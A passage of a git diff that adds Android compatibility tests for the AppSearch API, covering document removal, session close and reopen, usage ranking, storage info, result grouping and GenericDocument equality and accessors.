+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveAll_termMatchType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        AppSearchEmail email3 =
+                new AppSearchEmail.Builder("namespace", "uri3")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 3")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        AppSearchEmail email4 =
+                new AppSearchEmail.Builder("namespace", "uri4")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 4")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email3, email4)
+                                .build()));
+
+        // Check the presence of the documents
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        searchResults =
+                mDb2.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+
+        // Delete the all document in instance 1 with TERM_MATCH_PREFIX
+        mDb1.remove("", new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        searchResults =
+                mDb1.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).isEmpty();
+
+        // Delete the all document in instance 2 with TERM_MATCH_EXACT_ONLY
+        mDb2.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build())
+                .get();
+        searchResults =
+                mDb2.search(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).isEmpty();
+    }
+
+    @Test
+    public void testRemoveAllAfterEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Remove the document
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace").addUris("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Delete the all documents
+        mDb1.remove("", new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+
+        // Make sure it's still gone
+        getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testCloseAndReopen() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail).build()));
+
+        // close and re-open the appSearchSession
+        mDb1.close();
+        mDb1 = createSearchSession(DB_NAME_1).get();
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(inEmail);
+    }
+
+    @Test
+    public void testCallAfterClose() throws Exception {
+
+        // Create a same-thread database by inject an executor which could help us maintain the
+        // execution order of those async tasks.
+        Context context = ApplicationProvider.getApplicationContext();
+        AppSearchSessionShim sameThreadDb =
+                createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService()).get();
+
+        try {
+            // Schema registration -- just mutate something
+            sameThreadDb
+                    .setSchema(
+                            new SetSchemaRequest.Builder()
+                                    .addSchemas(AppSearchEmail.SCHEMA)
+                                    .build())
+                    .get();
+
+            // Close the database. No further call will be allowed.
+            sameThreadDb.close();
+
+            // Try to query the closed database
+            // We are using the same-thread db here to make sure it has been closed.
+            IllegalStateException e =
+                    expectThrows(
+                            IllegalStateException.class,
+                            () ->
+                                    sameThreadDb.search(
+                                            "query",
+                                            new SearchSpec.Builder()
+                                                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                                    .build()));
+            assertThat(e).hasMessageThat().contains("SearchSession has already been closed");
+        } finally {
+            // To clean the data that has been added in the test, need to re-open the session and
+            // set an empty schema.
+            AppSearchSessionShim reopen =
+                    createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService())
+                            .get();
+            reopen.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        }
+    }
+
+    @Test
+    public void testReportUsage() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index two documents.
+        AppSearchEmail email1 = new AppSearchEmail.Builder("namespace", "uri1").build();
+        AppSearchEmail email2 = new AppSearchEmail.Builder("namespace", "uri2").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Email 1 has more usages, but email 2 has more recent usages.
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder("namespace")
+                                .setUri("uri1")
+                                .setUsageTimeMillis(1000)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder("namespace")
+                                .setUri("uri1")
+                                .setUsageTimeMillis(2000)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder("namespace")
+                                .setUri("uri1")
+                                .setUsageTimeMillis(3000)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder("namespace")
+                                .setUri("uri2")
+                                .setUsageTimeMillis(10000)
+                                .build())
+                .get();
+        mDb1.reportUsage(
+                        new ReportUsageRequest.Builder("namespace")
+                                .setUri("uri2")
+                                .setUsageTimeMillis(20000)
+                                .build())
+                .get();
+
+        // Query by number of usages
+        List<SearchResult> results =
+                retrieveAllSearchResults(
+                        mDb1.search(
+                                "",
+                                new SearchSpec.Builder()
+                                        .setRankingStrategy(SearchSpec.RANKING_STRATEGY_USAGE_COUNT)
+                                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                        .build()));
+        // Email 1 has three usages and email 2 has two usages.
+        assertThat(results).hasSize(2);
+        assertThat(results.get(0).getGenericDocument()).isEqualTo(email1);
+        assertThat(results.get(0).getRankingSignal()).isEqualTo(3);
+        assertThat(results.get(1).getGenericDocument()).isEqualTo(email2);
+        assertThat(results.get(1).getRankingSignal()).isEqualTo(2);
+
+        // Query by most recent usag.
+        List<GenericDocument> documents =
+                convertSearchResultsToDocuments(
+                        mDb1.search(
+                                "",
+                                new SearchSpec.Builder()
+                                        .setRankingStrategy(
+                                                SearchSpec
+                                                        .RANKING_STRATEGY_USAGE_LAST_USED_TIMESTAMP)
+                                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                        .build()));
+        // TODO(b/182958600) Check the score for usage timestamp once b/182958600 is fixed.
+        assertThat(documents).containsExactly(email2, email1).inOrder();
+    }
+
+    @Test
+    public void testGetStorageInfo() throws Exception {
+        StorageInfo storageInfo = mDb1.getStorageInfo().get();
+        assertThat(storageInfo.getSizeBytes()).isEqualTo(0);
+
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Still no storage space attributed with just a schema
+        storageInfo = mDb1.getStorageInfo().get();
+        assertThat(storageInfo.getSizeBytes()).isEqualTo(0);
+
+        // Index two documents.
+        AppSearchEmail email1 = new AppSearchEmail.Builder("namespace1", "uri1").build();
+        AppSearchEmail email2 = new AppSearchEmail.Builder("namespace1", "uri2").build();
+        AppSearchEmail email3 = new AppSearchEmail.Builder("namespace2", "uri1").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2, email3)
+                                .build()));
+
+        // Non-zero size now
+        storageInfo = mDb1.getStorageInfo().get();
+        assertThat(storageInfo.getSizeBytes()).isGreaterThan(0);
+        assertThat(storageInfo.getAliveDocumentsCount()).isEqualTo(3);
+        assertThat(storageInfo.getAliveNamespacesCount()).isEqualTo(2);
+    }
+
+    @Test
+    public void testFlush() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb1.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(email)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // The future returned from maybeFlush will be set as a void or an Exception on error.
+        mDb1.maybeFlush().get();
+    }
+
+    @Test
+    public void testQuery_ResultGroupingLimits() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index four documents.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("namespace1", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("namespace1", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+        AppSearchEmail inEmail3 =
+                new AppSearchEmail.Builder("namespace2", "uri3")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail3).build()));
+        AppSearchEmail inEmail4 =
+                new AppSearchEmail.Builder("namespace2", "uri4")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail4).build()));
+
+        // Query with per package result grouping. Only the last document 'email4' should be
+        // returned.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultGrouping(
+                                        SearchSpec.GROUPING_TYPE_PER_PACKAGE, /*resultLimit=*/ 1)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(inEmail4);
+
+        // Query with per namespace result grouping. Only the last document in each namespace should
+        // be returned ('email4' and 'email2').
+        searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultGrouping(
+                                        SearchSpec.GROUPING_TYPE_PER_NAMESPACE, /*resultLimit=*/ 1)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(inEmail4, inEmail2);
+
+        // Query with per package and per namespace result grouping. Only the last document in each
+        // namespace should be returned ('email4' and 'email2').
+        searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .setResultGrouping(
+                                        SearchSpec.GROUPING_TYPE_PER_NAMESPACE
+                                                | SearchSpec.GROUPING_TYPE_PER_PACKAGE,
+                                        /*resultLimit=*/ 1)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(inEmail4, inEmail2);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
new file mode 100644
index 0000000..92094c3
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+public class GenericDocumentCtsTest {
+    private static final byte[] sByteArray1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+    private static final byte[] sByteArray2 = new byte[] {(byte) 4, (byte) 5, (byte) 6, (byte) 7};
+    private static final GenericDocument sDocumentProperties1 =
+            new GenericDocument.Builder<>(
+                            "namespace", "sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+                    .setCreationTimestampMillis(12345L)
+                    .build();
+    private static final GenericDocument sDocumentProperties2 =
+            new GenericDocument.Builder<>(
+                            "namespace", "sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+                    .setCreationTimestampMillis(6789L)
+                    .build();
+
+    @Test
+    public void testDocumentEquals_identical() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        assertThat(document1).isEqualTo(document2);
+        assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_differentOrder() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .build();
+
+        // Create second document with same parameter but different order.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .build();
+        assertThat(document1).isEqualTo(document2);
+        assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_failure() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .build();
+
+        // Create second document with same order but different value.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 4L) // Different
+                        .build();
+        assertThat(document1).isNotEqualTo(document2);
+        assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentEquals_repeatedFieldOrder_failure() {
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .build();
+
+        // Create second document with same order but different value.
+        GenericDocument document2 =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyBoolean("booleanKey1", true, true, false) // Different
+                        .build();
+        assertThat(document1).isNotEqualTo(document2);
+        assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+    }
+
+    @Test
+    public void testDocumentGetSingleValue() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setScore(1)
+                        .setTtlMillis(1L)
+                        .setPropertyLong("longKey1", 1L)
+                        .setPropertyDouble("doubleKey1", 1.0)
+                        .setPropertyBoolean("booleanKey1", true)
+                        .setPropertyString("stringKey1", "test-value1")
+                        .setPropertyBytes("byteKey1", sByteArray1)
+                        .setPropertyDocument("documentKey1", sDocumentProperties1)
+                        .build();
+        assertThat(document.getUri()).isEqualTo("uri1");
+        assertThat(document.getTtlMillis()).isEqualTo(1L);
+        assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+        assertThat(document.getCreationTimestampMillis()).isEqualTo(5);
+        assertThat(document.getScore()).isEqualTo(1);
+        assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+        assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(1.0);
+        assertThat(document.getPropertyBoolean("booleanKey1")).isTrue();
+        assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+        assertThat(document.getPropertyBytes("byteKey1"))
+                .asList()
+                .containsExactly((byte) 1, (byte) 2, (byte) 3);
+        assertThat(document.getPropertyDocument("documentKey1")).isEqualTo(sDocumentProperties1);
+    }
+
+    @Test
+    public void testDocumentGetArrayValues() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+
+        assertThat(document.getUri()).isEqualTo("uri1");
+        assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+        assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L, 2L, 3L);
+        assertThat(document.getPropertyDoubleArray("doubleKey1"))
+                .usingExactEquality()
+                .containsExactly(1.0, 2.0, 3.0);
+        assertThat(document.getPropertyBooleanArray("booleanKey1"))
+                .asList()
+                .containsExactly(true, false, true);
+        assertThat(document.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+        assertThat(document.getPropertyBytesArray("byteKey1"))
+                .asList()
+                .containsExactly(sByteArray1, sByteArray2);
+        assertThat(document.getPropertyDocumentArray("documentKey1"))
+                .asList()
+                .containsExactly(sDocumentProperties1, sDocumentProperties2);
+    }
+
+    @Test
+    public void testDocument_toString() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("", "uri1", "schemaType1")
+                        .setCreationTimestampMillis(5L)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString("stringKey1", "String1", "String2", "String3")
+                        .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+                        .setPropertyDocument(
+                                "documentKey1", sDocumentProperties1, sDocumentProperties2)
+                        .build();
+        String exceptedString =
+                "{ key: 'creationTimestampMillis' value: 5 } "
+                        + "{ key: 'namespace' value:  } "
+                        + "{ key: 'properties' value: "
+                        + "{ key: 'booleanKey1' value: [ 'true' 'false' 'true' ] } "
+                        + "{ key: 'byteKey1' value: "
+                        + "{ key: 'byteArray' value: [ '1' '2' '3' ] } "
+                        + "{ key: 'byteArray' value: [ '4' '5' '6' '7' ] }  } "
+                        + "{ key: 'documentKey1' value: [ '"
+                        + "{ key: 'creationTimestampMillis' value: 12345 } "
+                        + "{ key: 'namespace' value: namespace } "
+                        + "{ key: 'properties' value:  } "
+                        + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType1 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: sDocumentProperties1 } ' '"
+                        + "{ key: 'creationTimestampMillis' value: 6789 } "
+                        + "{ key: 'namespace' value: namespace } "
+                        + "{ key: 'properties' value:  } "
+                        + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType2 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: sDocumentProperties2 } ' ] } "
+                        + "{ key: 'doubleKey1' value: [ '1.0' '2.0' '3.0' ] } "
+                        + "{ key: 'longKey1' value: [ '1' '2' '3' ] } "
+                        + "{ key: 'stringKey1' value: [ 'String1' 'String2' 'String3' ] }  } "
+                        + "{ key: 'schemaType' value: schemaType1 } "
+                        + "{ key: 'score' value: 0 } "
+                        + "{ key: 'ttlMillis' value: 0 } "
+                        + "{ key: 'uri' value: uri1 } ";
+        assertThat(document.toString()).isEqualTo(exceptedString);
+    }
+
+    @Test
+    public void testDocumentGetValues_differentTypes() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setScore(1)
+                        .setPropertyLong("longKey1", 1L)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .build();
+
+        // Get a value for a key that doesn't exist
+        assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(0.0);
+        assertThat(document.getPropertyDoubleArray("doubleKey1")).isNull();
+
+        // Get a value with a single element as an array and as a single value
+        assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+        assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L);
+
+        // Get a value with multiple elements as an array and as a single value
+        assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+        assertThat(document.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+
+        // Get a value of the wrong type
+        assertThat(document.getPropertyDouble("longKey1")).isEqualTo(0.0);
+        assertThat(document.getPropertyDoubleArray("longKey1")).isNull();
+    }
+
+    @Test
+    public void testDocument_setEmptyValues() {
+        GenericDocument document =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1")
+                        .setPropertyBoolean("testKey")
+                        .build();
+        assertThat(document.getPropertyBooleanArray("testKey")).isEmpty();
+    }
+
+    @Test
+    public void testDocumentInvalid() {
+        GenericDocument.Builder<?> builder =
+                new GenericDocument.Builder<>("namespace", "uri1", "schemaType1");
+        String nullString = null;
+
+        expectThrows(
+                IllegalArgumentException.class,
+                () -> builder.setPropertyString("testKey", "string1", nullString));
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..1fe5d76
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
@@ -0,0 +1,772 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.ReportSystemUsageRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+
+public abstract class GlobalSearchSessionCtsTestBase {
+    private AppSearchSessionShim mDb1;
+    private static final String DB_NAME_1 = "";
